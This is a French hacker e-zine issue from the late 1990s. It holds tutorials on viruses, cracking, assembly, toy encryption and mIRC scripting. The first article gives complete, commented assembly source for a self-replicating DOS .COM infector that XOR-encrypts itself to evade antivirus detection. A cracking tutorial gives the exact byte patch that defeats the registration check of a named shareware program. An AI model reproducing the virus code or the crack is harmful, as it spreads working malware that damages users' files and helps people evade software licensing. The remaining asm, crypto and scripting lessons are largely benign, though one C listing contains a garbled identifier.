                          *-----------------------*
                         **Malicia Production Zine**
                          *-----------------------*
                                  NuMbEr 3


Introduction:

Toujours plus chiant, plus emmerdant, plus rageant, plus ininteressant, plus
ennuyant......voila Malicia Production Zine 3... ;). Bon on continue nos
anneries habituelles avec pour les virus, la technique d'encryption. On
continue aussi les cours de cracking avec un nouveau schma de protection.
Pour l'asm on fait le point et on finit avec un groz article. De plus
je vous refourge encore un cours d'encryptage avec l'explication sur
comment casser le fichier de la semaine dernire ;). Et pour finir
dans la misre je vous propose un ptit cours de scripting...

Bon sinon n'hsitez pas  distribu ce zine, a servira ptt de
couverture  un pauvre dans la rue si vous l'imprimez...

freaking@caramail.com

<SaTaNiK>

Sommaire:


Ŀ
                  Titre de l'article:                      Sujet:    
Ĵ
 Virus: Encryption                                       Virii       
Ĵ
 Cours de Cracking 3                                     Cracking    
Ĵ
 Initiation  l'asm 3                                    Asm         
Ĵ
 Initiation au cryptage 3                                Cryptage    
Ĵ
 Initiation au Scripting                                 Scripting   




******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************
                     <--------------------------------->
                              Virus: Encryption
                     <--------------------------------->

Encrypter des virus??? Mais pourquoi faire??? Et bien pour la simple raison
qu'il y a des anti-virus(de plus en plus) qui detectent les codes qui
ressemblent  des virus....donc on camoufle tout a pour pas que le mchant
anti-virus dtruise notre gentil virus ;)). La seconde raison c pour
camoufler la signature:
***********************************************
copyright db 'Liberty of ExPrEsSiOn by SaTaNiK'
***********************************************
Car elle pourrait servir  detecter le virus dans le fichier...

Personnelement la mthode que j'utilise dans le virus i-dessous n'est pas la
meilleure car elle ncssite un buffer, mais c'est la seule mthode que j'ai
trouv pour crypter tout le code viral en entier...enfin si vous avez
une meilleure mthode n'hsitez pas ;).

Sinon j'utilise aussi une variable Crypted qui est  0 dans la version
originale du virus car il n'est pas crypt...elle est mise  1 en mmoire
avant que le virus s'encrypte et s'crive...

La mthode utilis par le virus est un simple xor...Ha autre chose, si vous
regardez le code du virus, je n'encrypte videmment pas l'index(encryption)
qui xor car sinon tout serait incorrect :).

******************************************************************************
code segment
; SEGMENT DE CODE
        assume cs:code,ds:code
;CS ET DS POINTENT TOUT LES 2 SUR CODE
        org 100h
;LES FICHIER COM COMMENCENT A 100H

debut:
        db 0e9h,0,0          ;C'EST LE JUMP, NOUS EN AVONS BESOIN POUR
                             ;FAIRE COMME SI LE PROGRAMME ETAIT
                             ;INFECTE

virus:
        call depart_virus    ;POURQUOI UN CALL ET BIEN TOUT SIMPLEMENT
                             ;POUR SAVOIR A QU'ELLE ADRESSE LE PROGRAMME
                             ;DEVRA REVENIR EN CAS DE RET(LA VALEURE EST
                             ;MISE SUR LA PILE)

depart_virus:
        pop bp                      ;RECUPERE JUSTEMENT CETTE VALEURE
        sub bp,OFFSET depart_virus  ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART
                                    ;VIRUS POUR OBTENIR LE DEBUT DU CODE
                                    ;DU VIRUS...

        cmp [bp+crypted],0          ;VERIFIE SI LE FICHIER EST CRYPTE
        je remet_3_bytes

        mov cx,end_virus-remet_3_bytes  ;CALCULE LA LONGUEUR DU DECRYPTAGE

        lea bx,[bp+remet_3_bytes]       ;POINTE SUR LE CODE CRYPTE

        mov al,[bp+encryption]          ;MET LE CODE D'ENCRYPTION DANS AL

        decrypte:                       ;BOUCLE DE DECRYPTAGE
        xor byte ptr [bx],al            ;XOR POUR DECRYPTER
        inc bx                          
        loop decrypte

remet_3_bytes:
        mov cx,3                    ;VA DEPLACER 3 OCTETS
        lea  si,[bp+OFFSET troisbytes] ;MET DANS SI LES 3 BYTES ORIGINAUX
        mov  di,100h                ;MET A 100h(EN MEMOIRE LES COMS COMMENCENT
                                    ;A 100h...)
        rep movsb                   ;REMET LES OCTETS ORIGINAUX

init_dta:
        lea  dx,[bp+OFFSET dta_place]  ;MET DANS DX L'ADRESSE DE hide_dta
        mov  ah,1ah                    ;FONCTION 1Ah
        int  21h                       ;LANCE L'INTERRUPTION

trouve:
        mov  ah,4eh                    ;PREMIERE RECHERCHE
        lea  dx,[bp+comsig]            ;MET LE NOM DU FICHIER QU'ON CHERCHE
                                       ;DANS DX(ici *.com)
        mov  cx,7                      ;RECHERCHE UN FICHIER AVEC N'IMPORTE
                                       ;QUELLE ATTRIBUTS...

cherche:
        int 21h                        ;LANCE LA RECHERCHE
        jnc ouvre                      ;SI FICHIER TROUVE SAUTE A ouvre
        jmp fin_cherche                ;SINON VA A fin_cherche

ouvre:
        mov  ax,3d02h                     ;FONCTION 3Dh
        lea  dx,[bp+OFFSET dta_place+1eh] ;DTA_PLACE+1eh CONTIENT LE NOM
                                          ;DU FICHIER TROUVE
        int  21h                          ;LANCE L'INTERRUPTION
        mov bx,ax                         ;MET BX DANS AX


        mov  ah,3fh                       ;LIT LES 3 BYTES QUI VONT CHANGE
        lea  dx,[bp+troisbytes]           ;ET PIS LES MET DANS troisbytes
        mov  cx,3
        int  21h                          ;EFFECTUE LA LECTURE


        mov  ax,word ptr [bp+dta_place+1ah]  ;MET DANS AX LA TAILLE DU FICHIER
        mov  cx,word ptr [bp+troisbytes+1]      ;MET DANS CX LES 2 DERNIERS BYTES
                                             ;DU JUMP DONC LA TAILLE DU
                                             ;FICHIER SI INFECTE
        add  cx,real_end-virus+3            ;Y AJOUTE LA TAILLE DU VIRUS
        cmp  ax,cx                           ;COMPARE LES 2
        jz   ferme                           ;SI EGALE ALORS INFECTE


        sub  ax,3                            ;ENLEVE TROIS A LA TAILLE
                                             ;CAR NOUS LES AVONS DEJA LUS
        mov  word ptr [bp+newjump+1],ax      ;MET DANS LES 2 DERNIERS BYTES
                                             ;DE NEWJUMP LA TAILLE DU FICHIER
                                             ;ET DONC CALCULE LE SAUT QUI
                                             ;REMPLACERA LES 3 bytes


        mov ax,4200h                         ;VA AU DEBUT DU FICHIER
        xor cx,cx
        xor dx,dx
        int 21h


        mov ah,40h                           ;ET ECRIT LES 3 BYTES  
        mov cx,3
        lea dx,[bp+newjump]
        int 21h


        mov ax,4202h                         ;VA A LA FIN DU FICHIER 
        xor cx,cx
        xor dx,dx
        int 21h

        push bx                          ;SAUVEGARDE LE HANDLE DU FICHIER
             
        mov [bp+crypted],1               ;LE FICHIER SERA CRYPTE

        lea si,[bp+remet_3_bytes]        ;COPIE TOUT CE QUI EST A CRYPTE
        lea di,[bp+Buffer]               ;DANS LE BUFFER
        mov cx,end_virus-remet_3_bytes   
        rep movsb

        mov cx,end_virus-remet_3_bytes   ;TAILLE DU CODE A CRYPTE
        lea bx,[bp+Buffer]
        inc [bp+encryption]
        mov al,[bp+encryption]

        crypt_for_your_pleasure:         ;CRYPTE LE FICHIER
        xor byte ptr [bx],al
        inc bx
        loop crypt_for_your_pleasure

        pop bx                           ;RECUPERE LE HANDLE FICHIER

        mov ah,40h                           ;ECRIT LE DEBUT DU VIRUS
        mov cx,remet_3_bytes-virus           ;QUI N'EST PAS CRYPTE
        lea dx,[bp+virus]                    
        int 21h

        mov ah,40h                           ;ECRIT LE CODE
        mov cx,end_virus-remet_3_bytes       ;CRYPTE
        lea dx,[bp+Buffer]                   
        int 21h

        mov ah,40h                           ;ECRIT LES VARIABLES
        mov cx,real_end-end_virus            ;NECESSAIRES AU DECRYPTAGE...
        lea dx,[bp+end_virus]                
        int 21h

ferme:
        mov  ah,3eh                          ;FERME LE FICHIER
        int  21h

        mov  ah,4fh                          ;CHERCHE PROCHAIN FICHIER
        jmp  cherche            

fin_cherche:

        mov  dx,80h                          ;REMET LE DTA A SA PLACE ;)
        mov  ah,1ah
        int  21h

        mov di,100h                          ;CONTINUE LE COM NORMALEMMENT
        jmp di
        

comsig db '*.com',0
troisbytes db 0cdh,20h,0
newjump db 0e9h,0,0
copyright db 'Liberty of ExPrEsSiOn by SaTaNiK'  ;SIGNATURE ;)
message db 'Fuck Policians!!!!'                  ;UN PTIT MESSAGE :))

end_virus label near

encryption db 33h                                ;INDEX D'ENCRYPTION
crypted db 0
Buffer db end_virus-remet_3_bytes dup (0)        ;BUFFER POUR LES DONNES
                                                 ;CRYPTES
real_end label near

dta_place db 42 dup (?)

code    ENDS
        END    debut
******************************************************************************

Bon voil, notre virus est de plus en plus volumineux, mais 574 octect a
va encore ;)). Bon sinon la variable encryption est incrment  chaque
generation(chaque nouvelle infection) pour que le cryptage change  chaque
fois.

J'ai reflechit au moyen de se passer du buffer(ce qui double presque la taille
du virus) et un moyen bien sympa serait d'utiliser la mmoire vido
comme buffer, ce qui diminuerait la taille du buffer et ne devrait pas
poser de problme....c'est pas difficile  faire, si vous codez un virus
utilis plutt cette technique :).

<SaTaNiK>

******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************
                              CoUrS dE CrAcKiNg
                           *-*-*-*-*-*-*-*-*-*-*-*


        Eh oui je continue, et cette fois nous allons attaquer un schma de
protection encore assez utilis et COMPLETEMENT STUPIDE!!!!

Comme d'ab:

-Softice V3.2
La meilleure arme du crackeur

W32Dasm V8.9
Le meilleur bouclier du crackeur

        Bon cette fois nous allons nous attaquer  un programme qui s'apelle
Personal Avi Editor V1.5 qui est en fait une sorte de Adobe Premiere mais
beaucoup moins puissant, un outils pour manipuler les videos quoi....

        Bon premier rflexe du crackeur, on dsassemble Pae.exe pour avoir
Le programme vu dans son ensemble et on regarde et recherche les choses
interessantes...Premiere chose allons dans string reference, voyons:
'Your Trial and Registration has expired'. Interessant mais il existe
plusieurs rfrences donc ce n'est pas la bonne solution...Dialog references
, Menu references, rien d'interessant l non plus...Dcidemment W32Dasm ne
dsassemble pas si bien que a :)).

        La chose n'ayant pas port ses fruits on va utiliser une autre
mthode, nous allons augmenter la date de windoz pour que le message de
Cit plus haut apparaisse, on essaye et....a marche! Bon nous allons
ici utiliser un outils offert avec Softice qui est le Symbol Loader, ce
programme permet de lancer softice ds le dmarrage du programme...Donc vous
allez dans Fichier->Open Module et vous choisisez Pae.exe. Une fois cette
opration ffctu vous allez dans Module->Load, il vous demanderas si vous
tes sur de vouloir le lancer et vous rpondez oui bien sur :).

        A partir de ce point la softice apparait(magique :) et vous tracez
dans le programme comme un fou jusqu'a ce qu'apparraise la boite de dialogue
, la vous cliquez sur Ok et softice apparait. Maintenant vous regardez
l'endroit auquel vous vous trouvez et vous observez le code qui prcde:
*******************************************************************
cmp byte ptr [4E9A], 00       ;compare la mmoire 4E9A avec 00
je 7E76                       ;si gal le nag-screen n'apparait pas
<ici code pour le nag-screen>
*******************************************************************

        Si vous avez lu mes 2 premiers tutorials vous vous dtes bah on
va changer ce ptit je en jmp et op plus de problme...mais si vous faites
a, certe plus de time-limit mais toujours en version Shareware...hmmm ce
n'est pas des plus intressant...Regardons plutt la comparaison, donc si
4E9A est gal  0 plus de nag-screen, interessant a...Mais ou donc est
initialis la valeure de 4E9A???

        Pour le savoir, rien de plus simple, vous allez dans W32Dasm, vous
cliquez sur Search->Find Text et vous regardez...Vous tombez ds la premire
fois sur qqchose de trs interessant:
********************************************************
mov byte ptr [4E9A], al    ;met le registre al dans 4E9A
xor ax,ax                  :met ax  0
********************************************************

        Et alors l, comme dans un rve, la solution blouissante apparait
aux yeux du crackeurs: Si 4E9A est  0 plus de nags screen...et donc si
nous inversons les 2 deux instructions 4E9A est  0!!!!!

        Il suffit donc de changer les bytes suivants:
A2-9A-4E-31-C0
        en
31-C0-A2-9A-4E

        Nous relenons donc le logiciel et l hooooooo miracle le logiciel
n'a non seulement plus de nag-screen mais le logiciel est en version
enregistr!!!!!!!

        Ceci est vraiment le schma de protection le plus imbcile que j'ai
rencontr(enfin Moray tait pas mal non plus)... croire que les programmeurs
ont voulu donner la solution en main aux crackeurs ;)).

<SaTaNiK>
******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************
                               &&&&&&&&&&&&&
                               *Cours d'asm*
                               *     3     *
                               &&&&&&&&&&&&&


Cette fois i je vais tudier ce qu'il nous reste comme fonctions diverses
et varis en asm... vrais dire pas mal ;). Mais tout d'abord je voudrais
vous parlez de qqchose d'assez important:

*************
*indicateurs*
*************
Les indicateurs se trouvent en fait dans un registre, le registre d'tat...
ces indicateurs, sont tout le temps modifis par les fonctions...par exemple
quand vous fates un cmp ax,bx et bien un indicateur est modifi en
consquence du rsultat...et les jumps divers(je, jb...) ne font en fait
que tester ces indicateurs...j'avais besoin de faire cette mise au point
pour aller dans un raisonnement plus clair de l'asm... :) Ha une dernire
chose, comme vous vous en doutez surement les indicateurs sont sur 1 bit
donc soit 1 soit 0...

******
*loop*
******
Loop est tout simplement un instruction pour faire une boucle(et oui a
existe aussi en asm c trucs l ;). Vous mettez dans cx le nombre d'iterations
un label, vos intructions et pis loop label.....
ex:
----------------------------------------------------------------
mov cx,5             ;Met 5 dans cx(il va faire la boucle 5 fois
xor ax,ax            ;Met ax  0
jolie_boucle:        ;Le label
inc ax               ;Incremente(+1) eax
loop jolie_boucle    ;Faite une belle boucle
                     ;ax=5 maintenant
----------------------------------------------------------------

*****
*rep*
*****
Rep est une instruction pour......rpeter ;). En fait a marche  peu prs
comme loop sauf que une seule instruction peut tre rpte...mais il existe
des sous-types dans le rep...
Repz est celui dont on se sert le plus souvent car il permet de comparer
les chaines de caractre accompagn de l'instruction cmpsb.
ex:
-------------------------------------------
mov cx,8             ;TESTE 8 CARACTERES
lea si,chaine1       ;POINTE SUR CHAINE1
lea di,chaine2       ;POINTE SUR CHAINE2
repz cmpsb           ;REPETE TANT QUE CX!=0
                     ;OU QUE ZF==1
jz chaine_egales
-------------------------------------------

Houla, a se complexe, mais quesque que ce ZF???? Et bien c'est tout
simplement un indicateur...en fait la fonction cmpsb compare les pointeurs
si et di et quand elle trouve un diffrence elle met cet indicateur  0
donc  la fin de la fonction si aucune diffrence n'a t trouv ce
registre sera toujours  1 et donc jz qui teste cet indicateur fera le saut.
(oufffffff j'ai russi ;)).

************
*inc et dec*
************
Inc et dec permettent respectivement d'augmenter de 1 ou de soustraire un
 un registre....

*******
*movsb*
*******
Movs deplace la valeur point par DS:SI  celle point par ES:DI...movsb
deplace un octect...movsw deplace un mot(2 octects) et movsd deplace un
double mot(4 octets).

*******
*cmpsb*
*******
Mmme chose ici, cmpsb compare la valeure point par DS:SI  celle point
par ES:DI....et ici aussi il y a cmpsw et cmpsd....

*****
*mul*
*****
Mul multiplie la variable eax par celle prcis aprs mul...rien de bien
compliqu en fait
ex:
---------------------------------------
mov eax,2    ;Met dans eax la valeure 2
mul 5        ;Multiplie par 5
             ;eax contient 10
---------------------------------------

*****
*div*
*****
Div fonctionne de la mmme faon que mul except que le reste est plac
dans edx.....

*********
*add&sub*
*********
Add et sub permettent d'......ajouter de de soustraire(non? vous aviez
devin?).
ex:
--------
add ax,3
sub ax,1
--------

Bon voil qui est suffisant et qui vous suffira je pense, videmment l'asm
dispose de beaucoup plus de fonctions mais elles ne sont pas toutes trs
interessantes.....mais si vous desirez en savoir plus je vous conseille
d'acheter un bouquin ;).

<SaTaNiK>
******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************
                      !!**------------------------**!!
                      **!!Initiation au cryptage 3!!**
                      !!**------------------------**!!

D'abord je vais vous expliquer comment decrypter le fichier de la dernire
fois...en fait c'tait trs simple  cause de a:
*************************************
for(index=0;index<10;index++)
{
    buffer[index]=Signature[index];
    buffer[index2]+=good_key[index2];
    crypt^=Signature[index2++];
    if(index2==10)
    {
        index2=0;
    }
    crypt+=Signature[index2];
    buffer[index]^=crypt;
}
*************************************
Pourquoi? et bien tout simplement car nous connaissons les 10 premiers
caractres du fichier, et ils nous permettent de rcuperer le code =).
Et oui nous connaissons Signature!!! pour rcuperer le code il suffit donc de
faire:
****************************************
    for(index=0;index<10;index++)
    {
        crypt^=Signature[index2++]; //xor crypte comme dans original
        if(index2==10)
        {
            index2=0;
        }
        crypt+=Signature[index2];   //ajoute la signature comme dans
                                    //l'original

        buffer[index]^=crypt;       //Xor le buffer(inverse original)
        buffer[index]-=Signature[index];   //Et lui soustrait Signature
        good_key[index]=buffer[index];     //Met la cl dans good_key
    }
****************************************
Plutt simple non :)? Aprs le reste est plutt faile....mais enfin je vous
met quand mmme la source du decrypteur car j'ai fait moi mmme qques erreurs
en le codant(enfin l y en a plus ;).
******************************************************************************
#include <process.h>
#include <string.h>
#include <iostream.h>
#include <conio.h>
#include <ctype.h>
#include <stdio.h>
#include <malloc.h>

void main(int argc, char *argv[])
{
    unsigned long taille;
    unsigned long index;
    unsigned char *buffer;
    unsigned char index2;
    unsigned char Signature[10];
    unsigned char good_key[50];
    unsigned char crypt=33;
    FILE *to_crypt;
    FILE *crypted;

    printf("Spiritic DeCrypter By SaTaNiK V0.2\n\n");
    if(argc!=3)
    {
        printf("Usage:\n");
        printf("Crypter <source_file> <decrypted_file>\n");
        exit(0);
    }

    to_crypt=fopen(argv[1],"r+b");
    if(to_crypt==NULL)
    {
        printf("Can't open source file...\n");
        exit(1);
    }

    crypted=fopen(argv[2],"wb");
    if(crypted==NULL)
    {
        printf("Can't create crypted file...\n");
        exit(1);
    }

    for(index=0;index<50;index++)
    {
        good_key[index]=0;
    }

    try_again:

    fseek(to_crypt,0,SEEK_END);
    taille=ftell(to_crypt);
    fseek(to_crypt,0,SEEK_SET);
    buffer=(unsigned char *)malloc((taille+10));
    if(buffer==NULL)
    {
        printf("Can't allocate enough memory...\n");
        exit(1);
    }

    printf("I'm decrypting master...\n");
    index2=0;
    Signature[0]='S';
    Signature[1]='p';
    Signature[2]='i';
    Signature[3]='r';
    Signature[4]='i';
    Signature[5]='t';
    Signature[6]='i';
    Signature[7]='c';
    Signature[8]='C';
    Signature[9]='r';

    fread(buffer,1,10,to_crypt);
    
    for(index=0;index<10;index++)
    {
        crypt^=Signature[index2++];
        if(index2==10)
        {
            index2=0;
        }
        crypt+=Signature[index2];
        buffer[index]^=crypt;
        buffer[index]-=Signature[index];
        good_key[index]=buffer[index];
    }

    for(index=0;index<taille-10;index++)
    {
        buffer[index]=(unsigned char)getc(to_crypt);
        crypt^=Signature[index2++];
        if(index2==10)
        {
            index2=0;
        }
        crypt+=Signature[index2];
        buffer[index]^=crypt;
        if(index2!=0)
        {
            buffer[index]-=good_key[index2-1];
        }
        else
        {
            buffer[index]-=good_key[9];
        }
    }
    

    fwrite(buffer,1,taille-10,crypted);

    printf("File decrypted successfully :)\n");

    exit(0);
}
******************************************************************************

Bon voil donc pour decrypter le fichier de la dernire fois vous tapez:
decrypter Hello.cry Hello.dec
Et puis vous obtenez un b resultat(sisi a marche ;).

Bon sinon pour les codeurs enduri que nous sommes j'ai prvu un autre
encrypteur, beaucoup plus dur  casser vous pouvez me croire ;).
******************************************************************************
#include <process.h>
#include <string.h>
#include <iostream.h>
#include <conio.h>
#include <ctype.h>
#include <stdio.h>
#include <malloc.h>

void main(int argc, char *argv[])
{
    //DES VARIABLES DIVERSES...
    unsigned long taille;
    unsigned long index;
    unsigned char *buffer;
    unsigned char index2;
    unsigned char good_key[50];
    unsigned char table[100];
    unsigned char crypt=33;
    FILE *to_crypt;
    FILE *crypted;

    //PRESENTATION
    printf("Spiritic Crypter By SaTaNiK V0.2\n\n");
    //IL N'AS PAS RENTREE 3 ARGUMENTS....
    if(argc!=3)
    {
        printf("Usage:\n");
        printf("Crypter <source_file> <crypted_file>\n");
        exit(0);
    }

    //OUVRE LE FICHIER A CRYPTE
    to_crypt=fopen(argv[1],"r+b");
    if(to_crypt==NULL)
    {
        printf("Can't open source file...\n");
        exit(1);
    }

    //OUVRE LE FICHIER CRYPTE
    crypted=fopen(argv[2],"wb");
    if(crypted==NULL)
    {
        printf("Can't create crypted file...\n");
        exit(1);
    }

    //DEMANDE LA CLEE
    try_again:
    for(index=0;index<50;index++)
    {
        good_key[index]=0;
    }
    printf("Enter the magic key:\n");
    cin >> good_key;
    if(good_key[9]==0)
    {
        printf("You don't enter a good key...\n");
        printf("Are you completely stupid????\n");
        printf("I give you another chance...\n");
        goto try_again;
    }

    fseek(to_crypt,0,SEEK_END);
    taille=ftell(to_crypt);
    fseek(to_crypt,0,SEEK_SET);
    buffer=(unsigned char *)malloc((unsigned int)taille);
    if(buffer==NULL)
    {
        printf("Can't allocate enough memory...\n");
        exit(1);
    }

    index2=0;
    printf("Generating Table...\n");
    for(index=0;index<100;index++)
    {
        table[index]=(unsigned char)index;
        crypt^=(unsigned char)(255-index);
        table[index]*=good_key[index2++];
        if(index2==10)
        {
            index2=0;
        }
        table[index]-=crypt;
    }
        

    printf("I'm crypting master...\n");
    
    fwrite("Spiritic Crypter",1,16,crypted);

    fread(buffer,1,(unsigned int)taille,to_c    rypt);

    index2=0;
    
    for(index=0;index<taille;index++)
    {
        buffer[index]^=table[index2++];
        if(index2==100)
        {
            index2=0;
        }
    }

    fwrite(buffer,1,(unsigned int)taille,crypted);

    printf("File crypted successfully :)\n");

    exit(0);
}
******************************************************************************
Bon bein voil :). Si qqun arrive  decrypter le fichier
Hello.cry qui se trouve avec le mag qu'il le dise ;). Sinon j'expliquerai
comment le casser la prochaine fois :).

<SaTaNiK>

******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************
                                -----------
                            ***//Scripting\\**
                                -----------

        Ici nous allons parler de script, et plus exactement comment en
crire =). J'cris cet article car je sais que pas mal de gens aimerait si
mettre...et qu'ils ne savent pas trop comment, alors moi je m'y suis mit
et pis c pas bien compliquer...enfin vous allez voir ;).

        La premire chose  faire c'est installer la dernire version de
Mirc, une version clean quoi. Bon ensuite on look les differents fichiers
ini:

*Popups.ini*
C'est en fait le fichier qui permet de changer le menu Commands ainsi que
ce qui apparait quand vous fates un click droit sur un channel ou sur un
nick...

*Aliases.ini*
c'est le fichier qui permet de n'utiliser qu'une commande plutt que plusieurs
, par exemple Mirc a  la base:
-----------------------------
n0=/op /mode # +ooo $$1 $2 $3
-----------------------------
Cela permet d'utiliser la commande /op plutt que /mode # +ooo nick

*Mirc.ini*
Ce fichier permet beaucoup de chose car c'est le fichier principal de
Mirc, il permet de changer le nom des fichiers Alias, Popups et tout le
bazard, de jouer un wav quand on vous ping par exemple, ainsi de suite. Il
permet aussi de rajouter des fichiers de commandes.....


Bon aprs ces ptites descriptions, on va tout de suite amliorer Mirc...
D'abord looker pour le ptit descripteur '[rfiles]'. Ensuite rajoutez une
ligne genre:
n2:events.ini
ou le nom de fichier que vous voulez....

Ensuite cre un fichier events.ini et marquez sur la premire ligne
[script]
ensuite on va crer en fait des fonctions permanentes....c'est fonctions
commencent toujours par n+numro de ligne en commanant par 0...ce chiffre
est suivit d'un =

Ensuite pour crer un fonction vous mettez un dise(#) puis le nom de la
fonction suivit d'un espace et de on ou off selon que vous vouliez qu'elle
soit en marche ou pas au moment ou le script dmarre...

A la fin de la fonctions vous mettez si vous devez signaler  Mirc que la
fonction est finit:
n(ligne)=#nom_de_fonction end

Bon pour simplifier la chose je vous donne ici un exemple de fichier
events.ini:
******************************************************************************
[script]
n0=#ldetect on
n1=on 1:TEXT:*salut*:#:/notice $nick Salut man!!!!
n2=#ldetect end
******************************************************************************
Ce bout de script  pour effet de faire un notice sur qqun quand il dit
salut dans un phrase....plutt simple non??? Ce script est on tout le temps
je vous apprendrais dans le prochain numro comment le dsactiver et tout
un tas de trucs sympa....

<SaTaNiK>
******************************************************************************
*               MM      MM        AA     L     I CCCCCC I    AA              *
*              M  M    M  M      A  A    L     I C      I   A  A             *
*             M    M  M    M    AAAAAA   L     I C      I  AAAAAA            *
*            M      MM      M  A      A  LLLLL I CCCCCC I A      A           *
******************************************************************************

                                 ********
                                "Epilogue"
                                 ********

        Et voil encore un numro de finit dans l'allegresse de la rentre ;).
Sinon je voudrais faire un mega-greet  tout ceux qui font des freeware et 
ceux qui distribuent des musiques gratuitement(fuck Mp3z)......et oui
quesque vous voulez, je prefere ce qui est gratuit surtout quand c'est de
meilleure qualit :))..... ce propos, je vais peut tre programmer un ptit
programme pour crer des textures, un freeware videmment...car je n'ai pas
trouv sur le march de logiciels vraiment convaincant....alors si qqun veut
m'apporter de l'aide ;).

GrEeTiNgS:
-A tout les groupes Hack et dmos
-#pirate
-Squab(Pourquoi ne pas crire un article pour mon zine ;)?
-Lagoon(Merci pour le Reporter ;)
-Prezz(Ou es tu?)
-Tout ceux qui supportent ce mag
-Les lecteurs(oui vous l ;)

FuCk HaRd:
-Tout les channels warez  la con
-Bondz007
-Tout les lamerz de la galaxie(un dbutant n'tant pas forcement un lamer ;)
-Tout les gamerz

Billou Le SaTaNiK

http://members.xoom.com/SaTaNoS/
